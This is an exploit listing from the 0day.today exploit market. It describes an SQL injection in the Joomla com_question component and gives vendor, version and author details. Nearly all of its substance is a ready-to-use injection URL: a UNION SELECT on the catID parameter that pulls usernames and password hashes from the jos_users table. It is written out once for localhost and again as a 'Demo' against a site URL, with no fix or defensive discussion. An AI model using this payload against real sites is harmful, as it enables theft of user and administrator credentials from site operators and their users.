[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Joomla Component com_question SQL Injection Vulnerability

Author
NeX HaCkeR
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16106
Category
web applications
Date add
15-05-2011
Platform
php
###################################################
# |Title   : Joomla  (com_question) SQL Injection Vulnerability
# |Vendor  : http://www.alex-ensdorf.de/
# |Version : Joomla 1.5
# |Date    : 15/5/2011
# |Author  : NeX HaCkEr
# |Contact : Error_log@hotmail.com
##################################################
# | Exploit :
# | http://localhost/Joomla/index.php/?option=com_question&catID=[SQL]
# | http://localhost/Joomla/index.php/?option=com_question&catID=21' and+1=0 union all    
# | select 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20
##################################################
# | Demo:
# | http://site.com/index.php/?option=com_question&catID=21' and+1=0 union all select  # | 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20
##################################################
# | Greetz :
# | Dr.KAsBeR & DaShEr & MaFiA & WeeD
##################################################



#  0day.today [2024-11-16]  #